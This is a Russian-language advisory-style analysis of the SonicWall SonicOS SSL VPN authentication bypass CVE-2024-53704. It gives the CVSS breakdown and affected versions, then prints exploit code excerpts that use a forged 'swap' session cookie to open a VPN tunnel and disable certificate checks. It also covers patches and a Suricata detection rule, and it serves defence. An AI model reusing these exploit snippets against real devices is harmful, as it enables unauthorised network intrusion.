
Уязвимость BDU:2025-00205 (CVE-2024-53704) SonicWall SonicOS
Уязвимость BDU:2025-00205 (CVE-2024-53704) в реализации SSL VPN в ОС SonicOS связана с недостатками процедуры аутентификации, позволяющими удалённому злоумышленнику получить несанкционированный доступ к защищаемой информации через подмену сессионного токена.
Анализ уязвимости
Уровень опасности: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сетевой) - Уязвимость эксплуатируется удалённо через сеть
-
AC:L (Сложность атаки: Низкая) - Не требует специальных условий
-
PR:N (Уровень привилегий: Не требуется) - Аутентификация не нужна
-
UI:N (Взаимодействие с пользователем: Не требуется)
-
S:U (Область воздействия: Не оказывает влияния на другие системы)
-
C:H (Конфиденциальность: Полное нарушение)
-
I:H (Целостность: Полное нарушение)
-
A:H (Доступность: Полное нарушение)
Условия эксплуатации
-
Целевое устройство SonicWall с включённым SSL VPN
-
Используется уязвимая версия SonicOS:
-
До 6.5.5.1-6n
-
До 7.1.2-7019 включительно
-
До 8.0.0-8037
-
-
Злоумышленнику нужен валидный SWAP-токен (полученный через XSS, утечку логов или MITM-атаку)
Технический анализ эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2024-53704.
Механизм работы
Эксплоит имитирует поведение клиента NetExtender, используя подменённый SWAP-токен для обхода аутентификации:
# Основной модуль (__init__.py) sess = nx.NXSession(args) sess.run() # nx.py: Установка подменённого cookie self.session.cookies.set("swap", self.options.swap, domain=self.options.server) resp = self.session.get(f"https://{host}/cgi-bin/sslvpnclient")
Ключевые компоненты
-
Обход аутентификации
Эксплоит напрямую устанавливает VPN-сессию через cookie "swap", минуя этап логина:# nx.py def start_session(self): self.session.cookies.set("swap", self.options.swap, domain=self.options.server) resp = self.session.get(f"https://{self.host}/cgi-bin/sslvpnclient")
-
Извлечение конфигурации
Парсинг ответа сервера для получения параметров VPN:# nx.py for line in resp.iter_lines(): key, value = line.split(' = ', 1) if key == 'Route': routes.append(value) elif key not in srv_options: srv_options[key] = value
-
Установка PPP-туннеля
Использование pyroute2 для настройки сетевых маршрутов:# nx.py def setup_routes(self, gateway): ipr = pyroute2.IPRoute() net = ipaddress.IPv4Network(route) ipr.route("add", dst=f"{net.network_address}/{net.prefixlen}", gateway=gateway)
-
SSL-туннелирование
Реализация защищённого канала с обходом проверки сертификатов:# sslconn.py context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE
Возможные последствия атаки
-
Полный доступ к внутренней сети
-
Обход периметровой защиты
-
Доступ к системам управления, базам данных, файловым хранилищам
-
-
Перехват конфиденциальных данных
-
Учётные записи сотрудников
-
Финансовая отчётность
-
Персональные данные клиентов
-
-
Продвинутые атаки
-
Установка бэкдоров
-
Криптоджекинг
-
Атаки на промышленные системы (ICS/SCADA)
-
Защитные меры
1. Патчинг и обновление
-
Установить версии с устранением уязвимости:
-
SonicOS 6.5.5.1-7n+
-
SonicOS 7.1.2-7020+
-
SonicOS 8.0.0-8038+
-
2. Изменение конфигурации
# Отключение уязвимых компонентов configure vpn ssl settings no allow-unauthenticated-access commit
3. Правила для Suricata/IPS
alert tcp any any -> $HOME_NET 4433 \ (msg:"SonicWall CVE-2024-53704 Exploit Attempt"; \ flow:to_server,established; \ content:"/cgi-bin/sslvpnclient"; \ http_uri; \ content:"swap="; http_cookie; \ pcre:"/swap=[a-fA-F0-9]{32}/"; \ classtype:attempted-admin; \ sid:202453704; rev:1;)
Это правило срабатывает при обнаружении TCP-трафика от любого внешнего адреса к порту 4433 внутренней сети ($HOME_NET), содержащего специфические признаки атаки: наличие строки "/cgi-bin/sslvpnclient" в URI HTTP-запроса и cookie с параметром "swap=", значение которого представляет собой строку из 32 шестнадцатеричных символов.
4. Дополнительные меры безопасности
-
Сегментация сети: Изоляция VPN-серверов в отдельном DMZ
-
MFA: Обязательная двухфакторная аутентификация
-
Мониторинг: Алерты на необычную активность VPN-сессий
-
Токенизация: Регулярная ротация SWAP-куки
